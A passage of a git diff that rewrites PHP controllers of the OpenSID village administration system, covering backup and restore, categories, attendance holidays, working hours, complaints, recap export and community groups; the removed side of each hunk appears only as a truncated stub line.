+ foreach (glob('desa/*', GLOB_ONLYDIR) as $folder) {
+ if (! in_array($folder, $exclude)) {
+ delete_files(FCPATH . $folder, true);
+ }
+ }
+
+ // Buat folder desa
+ folder_desa();
+
+ // Proses Restore Database
+ if ($this->ekspor_model->proses_restore($this->cekDB($database ?? 'contoh_data_awal'))) {
+ $this->database_model->migrasi_db_cri();
+ } else {
+ log_message('error', 'Proses Restore Database Gagal');
+ }
+
+ log_message('notice', '>_ Selesai');
+ }
+
+ private function cekDB($filename)
+ {
+ $filename = DESAPATH . "/config/{$filename}.sql";
+
+ if (file_exists($filename)) {
+ return $filename;
+ }
+
+ log_message('error', 'File ' . $filename . ' tidak ditemukan');
+
+ return false;
+ }
+
+ public function backup_inkremental($lokasi)
+ {
+ if (! is_cli()) {
+ return;
+ }
+ /*
+ variable status
+ 0 = sedang dalam prosess
+ 1 = selesai diproses
+ 2 = selesai di download
+ 3 = dibatalkan
+ */
+
+ $lokasi = ($lokasi == 'null') ? null : 'backup_inkremental';
+ $last_backup = LogBackup::latest()->first()->created_at;
+ $last_backup = ($last_backup != null) ? $last_backup->format('Y-m-d') : '1990-01-01';
+ $backup = LogBackup::create(['permanen' => ($lokasi) ? 1 : 0, 'pid_process' => getmypid()]); // tandai backup sedang berlangsung
+
+ try {
+ $za = new FlxZipArchive();
+
+ $path = $za->read_dir(DESAPATH, $last_backup, $lokasi);
+ $file_backup = get_file_info($path);
+ $backup->update(['status' => 1, 'ukuran' => byte_format($file_backup['size']), 'path' => $path]); // update backup sudah selesai
+ } catch (Exception $e) {
+ $backup->update(['status' => -1]); // update backup gagal
+ printf($e);
+ }
+ }
+
+ public function restore_desa($id)
+ {
+ if (! is_cli()) {
+ return;
+ }
+
+ /*
+ variable status
+ 0 = sedang dalam prosess
+ 1 = selesai diproses
+ 2 = selesai di download
+ 3 = dibatalkan
+ -1 = gagal restore
+ */
+
+ $restore = LogRestoreDesa::where('id', '=', $id)->first();
+ $restore->update(['pid_process' => getmypid()]);
+
+ try {
+ $zip = new ZipArchive();
+ $res = $zip->open($restore->path);
+ if ($res === true) {
+ // Unzip path
+ $extractpath = DESAPATH . '..';
+
+ // Extract file
+ $zip->extractTo($extractpath);
+ $zip->close();
+ $restore->update(['status' => 1]);
+ }
+ } catch (Exception $e) {
+ $restore->update(['status' => -1]); // update backup gagal
+ printf($e);
+ }
+ }
+}
diff --git a/donjo-app/controllers/Kategori.php b/donjo-app/controllers/Kategori.php
index 0700d61e8..07b8b040d 100644
--- a/donjo-app/controllers/Kategori.php
+++ b/donjo-app/controllers/Kategori.php
@@ -1,481 +1,246 @@
-load->model('web_kategori_model');
+ $this->modul_ini = 'admin-web';
+ $this->sub_modul_ini = 'menu';
+ }
+
+ public function clear()
+ {
+ unset($_SESSION['cari'], $_SESSION['filter']);
+
+ $_SESSION['per_page'] = 20;
+ redirect('kategori');
+ }
+
+ public function index($p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $data['tip'] = 2;
+
+ if (isset($_SESSION['cari'])) {
+ $data['cari'] = $_SESSION['cari'];
+ } else {
+ $data['cari'] = '';
+ }
+
+ if (isset($_SESSION['filter'])) {
+ $data['filter'] = $_SESSION['filter'];
+ } else {
+ $data['filter'] = '';
+ }
+
+ if (isset($_POST['per_page'])) {
+ $_SESSION['per_page'] = $_POST['per_page'];
+ }
+ $data['per_page'] = $_SESSION['per_page'];
+
+ $data['paging'] = $this->web_kategori_model->paging($p, $o);
+ $data['main'] = $this->web_kategori_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['keyword'] = $this->web_kategori_model->autocomplete();
+
+ $this->render('kategori/table', $data);
+ }
+
+ public function form($id = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $data['tip'] = 2;
+ if ($id) {
+ $data['kategori'] = $this->web_kategori_model->get_kategori($id) ?? show_404();
+ $data['form_action'] = site_url("kategori/update/{$id}");
+ } else {
+ $data['kategori'] = null;
+ $data['form_action'] = site_url('kategori/insert');
+ }
+
+ $this->render('kategori/form', $data);
+ }
+
+ public function sub_kategori($kategori = 1)
+ {
+ $sub_kategori = $data['tip'] = 2;
+ $data['subkategori'] = $this->web_kategori_model->list_sub_kategori($kategori) ?? show_404();
+ $data['kategori'] = $kategori;
+
+ $this->render('kategori/sub_kategori_table', $data);
+ }
+
+ public function ajax_add_sub_kategori($kategori = '', $id = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $data['kategori'] = $kategori;
+ $data['link'] = $this->web_kategori_model->list_link();
+
+ if ($id) {
+ $data['subkategori'] = $this->web_kategori_model->get_kategori($id) ?? show_404();
+ $data['form_action'] = site_url("kategori/update_sub_kategori/{$kategori}/{$id}");
+ } else {
+ $data['subkategori'] = null;
+ $data['form_action'] = site_url("kategori/insert_sub_kategori/{$kategori}");
+ }
+
+ $this->load->view('kategori/ajax_add_sub_kategori_form', $data);
+ }
+
+ public function search()
+ {
+ $cari = $this->input->post('cari');
+ if ($cari != '') {
+ $_SESSION['cari'] = $cari;
+ } else {
+ unset($_SESSION['cari']);
+ }
+ redirect('kategori/index');
+ }
+
+ public function filter()
+ {
+ $filter = $this->input->post('filter');
+ if ($filter != 0) {
+ $_SESSION['filter'] = $filter;
+ } else {
+ unset($_SESSION['filter']);
+ }
+ redirect('kategori');
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->insert($tip);
+ redirect('kategori/index');
+ }
+
+ public function update($id = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->update($id);
+ redirect('kategori/index');
+ }
+
+ public function delete($id = '')
+ {
+ $this->redirect_hak_akses('h', 'kategori/index');
+ $this->web_kategori_model->delete($id);
+ redirect('kategori/index');
+ }
+
+ public function delete_all($p = 1, $o = 0)
+ {
+ $this->redirect_hak_akses('h', "kategori/index/{$p}/{$o}");
+ $this->web_kategori_model->delete_all();
+ redirect("kategori/index/{$p}/{$o}");
+ }
+
+ public function kategori_lock($id = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->kategori_lock($id, 1);
+ redirect("kategori/index/{$p}/{$o}");
+ }
+
+ public function kategori_unlock($id = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->kategori_lock($id, 2);
+ redirect("kategori/index/{$p}/{$o}");
+ }
+
+ public function insert_sub_kategori($kategori = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->insert_sub_kategori($kategori);
+ redirect("kategori/sub_kategori/{$kategori}");
+ }
+
+ public function update_sub_kategori($kategori = '', $id = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->update_sub_kategori($id);
+ redirect("kategori/sub_kategori/{$kategori}");
+ }
+
+ public function delete_sub_kategori($kategori = '', $id = 0)
+ {
+ $this->redirect_hak_akses('h', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->delete_sub($id);
+ redirect("kategori/sub_kategori/{$kategori}");
+ }
+
+ public function delete_all_sub_kategori($kategori = '')
+ {
+ $this->redirect_hak_akses('h', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->delete_all();
+ redirect("kategori/sub_kategori/{$kategori}");
+ }
+
+ public function kategori_lock_sub_kategori($kategori = '', $id = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->kategori_lock($id, 1);
+ redirect("kategori/sub_kategori/{$kategori}");
+ }
+
+ public function kategori_unlock_sub_kategori($kategori = '', $id = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->kategori_lock($id, 2);
+ redirect("kategori/sub_kategori/{$kategori}");
+ }
+
+ public function urut($id = 0, $arah = 0, $kategori = '')
+ {
+ $this->redirect_hak_akses('u', $_SERVER['HTTP_REFERER']);
+ $this->web_kategori_model->urut($id, $arah, $kategori);
+ if ($kategori != '') {
+ redirect("kategori/sub_kategori/{$kategori}");
+ } else {
+ redirect('kategori/index');
+ }
+ }
+}
diff --git a/donjo-app/controllers/Kehadiran_hari_libur.php b/donjo-app/controllers/Kehadiran_hari_libur.php
index 87be2a52d..2733b6d6f 100644
--- a/donjo-app/controllers/Kehadiran_hari_libur.php
+++ b/donjo-app/controllers/Kehadiran_hari_libur.php
@@ -1,577 +1,202 @@
-modul_ini = 'kehadiran';
+ $this->sub_modul_ini = 'hari-libur';
+ $this->header['kategori'] = 'kehadiran';
+ }
+
+ public function index()
+ {
+ return view('admin.hari_libur.index');
+ }
+
+ public function datatables()
+ {
+ if ($this->input->is_ajax_request()) {
+ return datatables()->of(HariLibur::query())
+ ->addColumn('ceklist', static function ($row) {
+ if (can('h')) {
+ return '';
+ }
+ })
+ ->addIndexColumn()
+ ->addColumn('aksi', static function ($row) {
+ $aksi = '';
+
+ if (can('u')) {
+ $aksi .= ' ';
+ }
+
+ if (can('h')) {
+ $aksi .= ' ';
+ }
+
+ return $aksi;
+ })
+ ->editColumn('tanggal', static function ($row) {
+ return tgl_indo($row->tanggal);
+ })
+ ->rawColumns(['ceklist', 'aksi'])
+ ->make();
+ }
+
+ return show_404();
+ }
+
+ public function form($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($id) {
+ $action = 'Ubah';
+ $form_action = route('kehadiran_hari_libur.update', $id);
+ $kehadiran_hari_libur = HariLibur::findOrFail($id);
+ $kehadiran_hari_libur->tanggal = date('d-m-Y', strtotime($kehadiran_hari_libur->tanggal));
+ } else {
+ $action = 'Tambah';
+ $form_action = route('kehadiran_hari_libur.create');
+ $kehadiran_hari_libur = null;
+ }
+
+ return view('admin.hari_libur.form', compact('action', 'form_action', 'kehadiran_hari_libur'));
+ }
+
+ public function create()
+ {
+ $this->redirect_hak_akses('u');
+
+ if (HariLibur::create($this->validate($this->request))) {
+ redirect_with('success', 'Berhasil Tambah Data');
+ }
+
+ redirect_with('error', 'Gagal Tambah Data');
+ }
+
+ public function update($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ $update = HariLibur::findOrFail($id);
+
+ $data = $this->validate($this->request, $id);
+
+ if ($update->update($data)) {
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ redirect_with('error', 'Gagal Ubah Data');
+ }
+
+ public function delete($id = null)
+ {
+ $this->redirect_hak_akses('h');
+
+ if (HariLibur::destroy($id ?? $this->request['id_cb'])) {
+ redirect_with('success', 'Berhasil Hapus Data');
+ }
+
+ redirect_with('error', 'Gagal Hapus Data');
+ }
+
+ private function validate($request = [], $id = '')
+ {
+ $_POST['tanggal'] = date('Y-m-d', strtotime($request['tanggal']));
+
+ $this->load->library('form_validation');
+ $this->form_validation->set_error_delimiters('', '');
+ $rules = empty($id)
+ ? 'is_unique[kehadiran_hari_libur.tanggal]'
+ : "is_unique[kehadiran_hari_libur.tanggal,id,{$id}]";
+
+ $this->form_validation->set_rules([
+ [
+ 'field' => 'tanggal',
+ 'label' => 'Tanggal',
+ 'rules' => $rules,
+ 'errors' => [
+ 'is_unique' => 'Tanggal terkait sudah ditambahkan pada hari libur',
+ ],
+ ],
+ [
+ 'field' => 'keterangan',
+ 'label' => 'Keterangan',
+ 'rules' => 'required',
+ ],
+ ]);
+
+ if ($this->form_validation->run() !== true) {
+ redirect_with('error', trim(validation_errors()));
+ }
+
+ return [
+ 'tanggal' => date('Y-m-d', strtotime($request['tanggal'])),
+ 'keterangan' => strip_tags($request['keterangan']),
+ ];
+ }
+
+ public function import()
+ {
+ $this->redirect_hak_akses('u');
+
+ $kalender = file_get_contents(config_item('api_hari_libur'));
+ $tanggal = json_decode($kalender, true);
+
+ $batch = collect($tanggal)->map(static function ($item, $key) {
+ return [
+ 'config_id' => identitas('id'),
+ 'tanggal' => date_format(date_create($key), 'Y-m-d'),
+ 'keterangan' => $item['summary'][0],
+ ];
+ })->filter(static function ($value, $key) {
+ return $value['tanggal'] > date('Y') . '-01-01';
+ })->slice(0, -2);
+
+ HariLibur::upsert($batch->values()->toArray(), ['tanggal'], ['keterangan']);
+
+ redirect_with('success', 'Berhasil Tambah Data');
+ }
+}
diff --git a/donjo-app/controllers/Kehadiran_jam_kerja.php b/donjo-app/controllers/Kehadiran_jam_kerja.php
index 5aacfc62c..e73951164 100644
--- a/donjo-app/controllers/Kehadiran_jam_kerja.php
+++ b/donjo-app/controllers/Kehadiran_jam_kerja.php
@@ -1,569 +1,117 @@
-modul_ini = 'kehadiran';
+ $this->sub_modul_ini = 'jam-kerja';
+ $this->header['kategori'] = 'kehadiran';
+ }
+
+ public function index()
+ {
+ return view('admin.jam_kerja.index');
+ }
+
+ public function datatables()
+ {
+ if ($this->input->is_ajax_request()) {
+ return datatables()->of(JamKerja::query())
+ ->addIndexColumn()
+ ->addColumn('aksi', static function ($row) {
+ if (can('u')) {
+ return ' ';
+ }
+ })
+ ->editColumn('status', static function ($row) {
+ return ($row->status == 1) ? 'Hari Kerja' : 'Hari Libur';
+ })
+ ->editColumn('jam_masuk', static function ($row) {
+ return date('H:i', strtotime($row->jam_masuk));
+ })
+ ->editColumn('jam_keluar', static function ($row) {
+ return date('H:i', strtotime($row->jam_keluar));
+ })
+ ->rawColumns(['aksi', 'status'])
+ ->make();
+ }
+
+ return show_404();
+ }
+
+ public function form($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ $action = 'Ubah';
+ $form_action = route('kehadiran_jam_kerja.update', $id);
+
+ $kehadiran_jam_kerja = JamKerja::findOrFail($id);
+
+ return view('admin.jam_kerja.form', compact('action', 'form_action', 'kehadiran_jam_kerja'));
+ }
+
+ public function update($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ $update = JamKerja::findOrFail($id);
+
+ if ($update->update($this->validate($this->request))) {
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ redirect_with('error', 'Gagal Ubah Data');
+ }
+
+ private function validate($request = [])
+ {
+ return [
+ 'jam_masuk' => (string) date('H:i:s', strtotime($request['jam_masuk'])),
+ 'jam_keluar' => (string) date('H:i:s', strtotime($request['jam_keluar'])),
+ 'status' => (int) ($request['status']),
+ 'keterangan' => strip_tags($request['keterangan']),
+ ];
+ }
+}
diff --git a/donjo-app/controllers/Kehadiran_keluar.php b/donjo-app/controllers/Kehadiran_keluar.php
index dad948966..ce80279d0 100644
--- a/donjo-app/controllers/Kehadiran_keluar.php
+++ b/donjo-app/controllers/Kehadiran_keluar.php
@@ -1,545 +1,154 @@
-modul_ini = 'kehadiran';
+ $this->sub_modul_ini = 'alasan-keluar';
+ $this->header['kategori'] = 'kehadiran';
+ }
+
+ public function index()
+ {
+ return view('admin.alasan_keluar.index');
+ }
+
+ public function datatables()
+ {
+ if ($this->input->is_ajax_request()) {
+ return datatables()->of(AlasanKeluar::query())
+ ->addColumn('ceklist', static function ($row) {
+ if (can('h')) {
+ return '';
+ }
+ })
+ ->addIndexColumn()
+ ->addColumn('aksi', static function ($row) {
+ $aksi = '';
+
+ if (can('u')) {
+ $aksi .= ' ';
+ }
+
+ if (can('h')) {
+ $aksi .= ' ';
+ }
+
+ return $aksi;
+ })
+ ->rawColumns(['ceklist', 'aksi'])
+ ->make();
+ }
+
+ return show_404();
+ }
+
+ public function form($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($id) {
+ $action = 'Ubah';
+ $form_action = route('kehadiran_keluar.update', $id);
+ $kehadiran_keluar = AlasanKeluar::findOrFail($id);
+ } else {
+ $action = 'Tambah';
+ $form_action = route('kehadiran_keluar.create');
+ $kehadiran_keluar = null;
+ }
+
+ return view('admin.alasan_keluar.form', compact('action', 'form_action', 'kehadiran_keluar'));
+ }
+
+ public function create()
+ {
+ $this->redirect_hak_akses('u');
+
+ if (AlasanKeluar::create($this->validated($this->request))) {
+ redirect_with('success', 'Berhasil Tambah Data');
+ }
+
+ redirect_with('error', 'Gagal Tambah Data');
+ }
+
+ public function update($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ $update = AlasanKeluar::findOrFail($id);
+
+ if ($update->update($this->validated($this->request, $id))) {
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ redirect_with('error', 'Gagal Ubah Data');
+ }
+
+ public function delete($id = null)
+ {
+ $this->redirect_hak_akses('h');
+
+ if (AlasanKeluar::destroy($id ?? $this->request['id_cb'])) {
+ redirect_with('success', 'Berhasil Hapus Data');
+ }
+
+ redirect_with('error', 'Gagal Hapus Data');
+ }
+
+ protected static function validated($request = [], $id = null)
+ {
+ $validated = [
+ 'alasan' => strip_tags($request['alasan']),
+ 'keterangan' => strip_tags($request['keterangan']),
+ ];
+
+ if ($id) {
+ $validated['created_by'] = $validated['updated_by'] = auth()->id;
+ } else {
+ $validated['created_by'] = auth()->id;
+ }
+
+ return $validated;
+ }
+}
diff --git a/donjo-app/controllers/Kehadiran_pengaduan.php b/donjo-app/controllers/Kehadiran_pengaduan.php
index 904b8ee71..ea82d64a8 100644
--- a/donjo-app/controllers/Kehadiran_pengaduan.php
+++ b/donjo-app/controllers/Kehadiran_pengaduan.php
@@ -1,569 +1,108 @@
-modul_ini = 'kehadiran';
+ $this->sub_modul_ini = 'kehadiran-pengaduan';
+ $this->header['kategori'] = 'kehadiran';
+ }
+
+ public function index()
+ {
+ return view('admin.pengaduan.index');
+ }
+
+ public function datatables()
+ {
+ if ($this->input->is_ajax_request()) {
+ return datatables()->of(KehadiranPengaduan::with(['pamong.penduduk', 'mandiri.penduduk']))
+ ->addIndexColumn()
+ ->addColumn('aksi', static function ($row) {
+ if (can('u')) {
+ return ' ';
+ }
+ })
+ ->editColumn('waktu', static function ($row) {
+ return tgl_indo2($row->waktu);
+ })
+ ->rawColumns(['aksi'])
+ ->make();
+ }
+
+ return show_404();
+ }
+
+ public function form($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ $action = 'Ubah';
+ $form_action = route('kehadiran_pengaduan.update', $id);
+
+ $kehadiran_pengaduan = KehadiranPengaduan::findOrFail($id);
+
+ return view('admin.pengaduan.form', compact('action', 'form_action', 'kehadiran_pengaduan'));
+ }
+
+ public function update($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ $update = KehadiranPengaduan::findOrFail($id);
+
+ if ($update->update($this->validate($this->request))) {
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ redirect_with('error', 'Gagal Ubah Data');
+ }
+
+ private function validate($request = [])
+ {
+ return [
+ 'keterangan' => strip_tags($request['keterangan']),
+ ];
+ }
+}
diff --git a/donjo-app/controllers/Kehadiran_rekapitulasi.php b/donjo-app/controllers/Kehadiran_rekapitulasi.php
index 277285902..8c2f7209b 100644
--- a/donjo-app/controllers/Kehadiran_rekapitulasi.php
+++ b/donjo-app/controllers/Kehadiran_rekapitulasi.php
@@ -1,593 +1,141 @@
-modul_ini = 'kehadiran';
+ $this->sub_modul_ini = 'rekapitulasi';
+ $this->header['kategori'] = 'kehadiran';
+ }
+
+ public function index()
+ {
+ $pamong = Pamong::daftar()->get();
+ $kehadiran = Kehadiran::get();
+
+ return view('admin.rekapitulasi.index', compact('pamong', 'kehadiran'));
+ }
+
+ public function datatables()
+ {
+ if ($this->input->is_ajax_request()) {
+ $filters = [
+ 'tanggal' => $this->input->get('daterange'),
+ 'status' => $this->input->get('status'),
+ 'pamong' => $this->input->get('pamong'),
+ ];
+
+ return datatables()->of(Kehadiran::with(['pamong', 'pamong.penduduk', 'pamong.jabatan'])
+ ->select('*', DB::raw('TIMEDIFF( jam_keluar, jam_masuk ) as total'))
+ ->filter($filters))
+ ->addIndexColumn()
+ ->editColumn('tanggal', static function ($row) {
+ return tgl_indo($row->tanggal);
+ })
+ ->editColumn('jam_masuk', static function ($row) {
+ return date('H:i', strtotime($row->jam_masuk));
+ })
+ ->editColumn('jam_keluar', static function ($row) {
+ return $row->jam_keluar == null ? '-' : date('H:i', strtotime($row->jam_keluar));
+ })
+ ->editColumn('total', static function ($row) {
+ return date('H:i', strtotime($row->total));
+ })
+ ->editColumn('status_kehadiran', static function ($row) {
+ $tipe = ($row->status_kehadiran == 'hadir') ? 'success' : (($row->status_kehadiran == 'tidak berada di kantor') ? 'danger' : 'warning');
+
+ return '' . ucwords($row->status_kehadiran) . ' ';
+ })
+ ->rawColumns(['status_kehadiran'])
+ ->make();
+ }
+
+ return show_404();
+ }
+
+ public function ekspor()
+ {
+ $filters = [
+ 'tanggal' => $this->input->get('daterange'),
+ 'status' => $this->input->get('status'),
+ 'pamong' => $this->input->get('pamong'),
+ ];
+
+ $judul = [
+ 'Nama',
+ 'Jabatan',
+ 'Tanggal',
+ 'Jam Masuk',
+ 'Jam Keluar',
+ 'Total Waktu',
+ 'Status Kehadiran',
+ ];
+
+ $writer = WriterEntityFactory::createXLSXWriter();
+ $writer->openToBrowser(namafile('kehadiran') . '.xlsx');
+ $writer->addRow(WriterEntityFactory::createRowFromArray($judul));
+
+ $data_kehadiran = Kehadiran::with(['pamong'])
+ ->select('*', Kehadiran::raw('TIMEDIFF( jam_keluar, jam_masuk ) as total'))
+ ->filter($filters)
+ ->get();
+
+ foreach ($data_kehadiran as $row) {
+ $data = [
+ $row->pamong->pamong_nama != null ? $row->pamong->pamong_nama : $row->pamong->penduduk->nama,
+ $row->pamong->jabatan->nama,
+ tgl_indo($row->tanggal),
+ date('H:i', strtotime($row->jam_masuk)),
+ $row->jam_keluar == null ? '-' : date('H:i', strtotime($row->jam_keluar)),
+ date('H:i', strtotime($row->total)),
+ ucwords($row->status_kehadiran),
+ ];
+ $writer->addRow(WriterEntityFactory::createRowFromArray($data));
+ }
+ $writer->close();
+ }
+}
diff --git a/donjo-app/controllers/Kelompok.php b/donjo-app/controllers/Kelompok.php
index 20df06853..61103da96 100644
--- a/donjo-app/controllers/Kelompok.php
+++ b/donjo-app/controllers/Kelompok.php
@@ -1,481 +1,393 @@
-load->model(['kelompok_model', 'pamong_model']);
+ $this->modul_ini = 'kependudukan';
+ $this->sub_modul_ini = 'kelompok';
+ $this->_set_page = ['20', '50', '100'];
+ $this->_list_session = ['cari', 'filter', 'penerima_bantuan', 'sex', 'status_dasar'];
+ $this->kelompok_model->set_tipe($this->tipe);
+ }
+
+ public function clear()
+ {
+ $this->session->unset_userdata($this->_list_session);
+ $this->session->per_page = $this->_set_page[0];
+ $this->session->status_dasar = 1; // Rumah Tangga Aktif
+
+ redirect($this->controller);
+ }
+
+ public function index($p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ foreach ($this->_list_session as $list) {
+ $data[$list] = $this->session->{$list} ?: '';
+ }
+
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data['func'] = 'index';
+ $data['set_page'] = $this->_set_page;
+ $data['filter'] = $this->session->filter;
+ $list_data = $this->kelompok_model->list_data($o, $p);
+ $data['paging'] = $list_data['paging'];
+ $data['main'] = $list_data['main'];
+ $data['keyword'] = $this->kelompok_model->autocomplete();
+ $data['list_master'] = $this->kelompok_model->list_master();
+
+ $this->render('kelompok/table', $data);
+ }
+
+ public function anggota($id = 0, $p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data['set_page'] = $this->_set_page;
+ $data['paging'] = $this->kelompok_model->paging($p, $id);
+ $data['func'] = 'anggota/' . $id;
+ $data['kelompok'] = $this->kelompok_model->get_kelompok($id) ?? show_404();
+ $data['main'] = $this->kelompok_model->list_anggota($o, $data['paging']->offset, $data['paging']->per_page, $id);
+
+ $this->render('kelompok/anggota/table', $data);
+ }
+
+ public function form($p = 1, $o = 0, $id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $list_master = $this->kelompok_model->list_master();
+
+ if (count($list_master) <= 0) {
+ $this->session->success = -1;
+ $this->session->error_msg = "Kategori {$this->tipe} tidak tersedia, silakan tambah ketegori terlebih dahulu";
+
+ redirect($this->controller);
+ }
+
+ if ($id) {
+ $data['kelompok'] = $this->kelompok_model->get_kelompok($id) ?? show_404();
+ $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}");
+ } else {
+ $data['kelompok'] = null;
+ $data['form_action'] = site_url("{$this->controller}/insert");
+ }
+
+ $data['list_master'] = $list_master;
+ $data['list_penduduk'] = $this->kelompok_model->list_penduduk();
+
+ $this->render('kelompok/form', $data);
+ }
+
+ public function aksi($aksi = '', $id = 0)
+ {
+ $this->session->set_userdata('aksi', $aksi);
+
+ redirect("{$this->controller}/form_anggota/{$id}");
+ }
+
+ public function form_anggota($id = 0, $id_a = 0)
+ {
+ $anggota = KelompokAnggota::tipe()->where('id_kelompok', '=', 2)->pluck('id_penduduk');
+ $this->redirect_hak_akses('u');
+ $data['kelompok'] = $id;
+ $data['list_penduduk'] = $this->kelompok_model->list_penduduk($id, $id_a);
+ $data['list_jabatan1'] = $this->referensi_model->list_ref(JABATAN_KELOMPOK);
+ $data['list_jabatan2'] = $this->kelompok_model->list_jabatan($id);
+
+ if ($id_a == 0) {
+ $data['pend'] = null;
+ $data['form_action'] = site_url("{$this->controller}/insert_a/{$id}");
+ } else {
+ $data['pend'] = $this->kelompok_model->get_anggota($id, $id_a) ?? show_404();
+ $data['form_action'] = site_url("{$this->controller}/update_a/{$id}/{$id_a}");
+ }
+
+ $this->render('kelompok/anggota/form', $data);
+ }
+
+ public function apipendudukkelompok()
+ {
+ if ($this->input->is_ajax_request()) {
+ $cari = $this->input->get('q');
+ $kelompok = $this->input->get('kelompok');
+ $anggota = KelompokAnggota::tipe()->where('id_kelompok', '=', $kelompok)->pluck('id_penduduk');
+
+ $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster'])
+ ->when($cari, static function ($query) use ($cari) {
+ $query->orWhere('nik', 'like', "%{$cari}%")
+ ->orWhere('nama', 'like', "%{$cari}%");
+ })
+ ->whereNotIn('id', $anggota)
+ ->paginate(10);
+
+ return json([
+ 'results' => collect($penduduk->items())
+ ->map(static function ($item) {
+ return [
+ 'id' => $item->id,
+ 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun')),
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $penduduk->currentPage() < $penduduk->lastPage(),
+ ],
+ ]);
+ }
+
+ return show_404();
+ }
+
+ // $aksi = cetak/unduh
+ public function dialog($aksi = 'cetak')
+ {
+ $data = $this->modal_penandatangan();
+ $data['aksi'] = ucwords($aksi);
+ $data['form_action'] = site_url("{$this->controller}/daftar/{$aksi}");
+
+ $this->load->view('global/ttd_pamong', $data);
+ }
+
+ public function daftar($aksi = 'cetak')
+ {
+ $post = $this->input->post();
+ $data['aksi'] = $aksi;
+ $data['config'] = $this->header['desa'];
+ $data['pamong_ttd'] = $this->pamong_model->get_data($post['pamong_ttd']);
+ $data['pamong_ketahui'] = $this->pamong_model->get_data($post['pamong_ketahui']);
+ $data['main'] = $this->kelompok_model->list_data();
+ $data['file'] = "Data {$this->tipe}"; // nama file
+ $data['isi'] = 'kelompok/cetak';
+ $data['letak_ttd'] = ['1', '1', '1'];
+
+ $this->load->view('global/format_cetak', $data);
+ }
+
+ // $aksi = cetak/unduh
+ public function dialog_anggota($aksi = 'cetak', $id = 0)
+ {
+ $data = $this->modal_penandatangan();
+ $data['aksi'] = ucwords($aksi);
+ $data['form_action'] = site_url("{$this->controller}/daftar_anggota/{$aksi}/{$id}");
+
+ $this->load->view('global/ttd_pamong', $data);
+ }
+
+ public function daftar_anggota($aksi = 'cetak', $id = 0)
+ {
+ $post = $this->input->post();
+ $data['aksi'] = $aksi;
+ $data['config'] = $this->header['desa'];
+ $data['pamong_ttd'] = $this->pamong_model->get_data($post['pamong_ttd']);
+ $data['pamong_ketahui'] = $this->pamong_model->get_data($post['pamong_ketahui']);
+ $data['main'] = $this->kelompok_model->list_anggota(0, 0, 0, $id);
+ $data['kelompok'] = $this->kelompok_model->get_kelompok($id) ?? show_404();
+ $data['file'] = "Laporan Data {$this->tipe} " . $data['kelompok']['nama']; // nama file
+ $data['isi'] = 'kelompok/anggota/cetak';
+ $data['letak_ttd'] = ['2', '3', '2'];
+
+ $this->load->view('global/format_cetak', $data);
+ }
+
+ public function filter($filter)
+ {
+ $value = $this->input->post($filter);
+ if ($value != '') {
+ $this->session->{$filter} = $value;
+ } else {
+ $this->session->unset_userdata($filter);
+ }
+
+ redirect($this->controller);
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u');
+ $this->kelompok_model->insert();
+
+ redirect($this->controller);
+ }
+
+ public function update($p = 1, $o = 0, $id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->kelompok_model->update($id);
+
+ redirect("{$this->controller}/index/{$p}/{$o}");
+ }
+
+ public function delete($id = 0)
+ {
+ $this->redirect_hak_akses('h');
+ $this->kelompok_model->delete($id);
+
+ redirect($this->controller);
+ }
+
+ public function delete_all()
+ {
+ $this->redirect_hak_akses('h');
+ $this->kelompok_model->delete_all();
+
+ redirect($this->controller);
+ }
+
+ public function insert_a($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->kelompok_model->insert_a($id);
+ $redirect = ($this->session->aksi != 1) ? $_SERVER['HTTP_REFERER'] : "{$this->controller}/anggota/{$id}";
+
